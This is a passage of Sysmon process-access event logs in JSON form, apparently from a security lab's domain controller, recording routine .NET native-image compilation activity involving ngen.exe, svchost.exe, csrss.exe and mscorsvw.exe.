+{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7131,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010590E0C00}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010590E0C00}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7132,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.510\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-00107ABB0B00}\r\nTargetProcessId: 2200\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.510","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-00107ABB0B00}","TargetProcessId":"2200","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7133,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.510\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-00107ABB0B00}\r\nTargetProcessId: 2200\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.510","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-00107ABB0B00}","TargetProcessId":"2200","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7134,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010C0110C00}\r\nTargetProcessId: 2200\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010C0110C00}","TargetProcessId":"2200","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7135,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.557\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001003150C00}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.557","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001003150C00}","TargetProcessId":"4724","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7136,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.557\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001003150C00}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.557","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001003150C00}","TargetProcessId":"4724","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7137,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001003150C00}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001003150C00}","TargetProcessId":"4724","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7138,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-00107E180C00}\r\nTargetProcessId: 3860\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 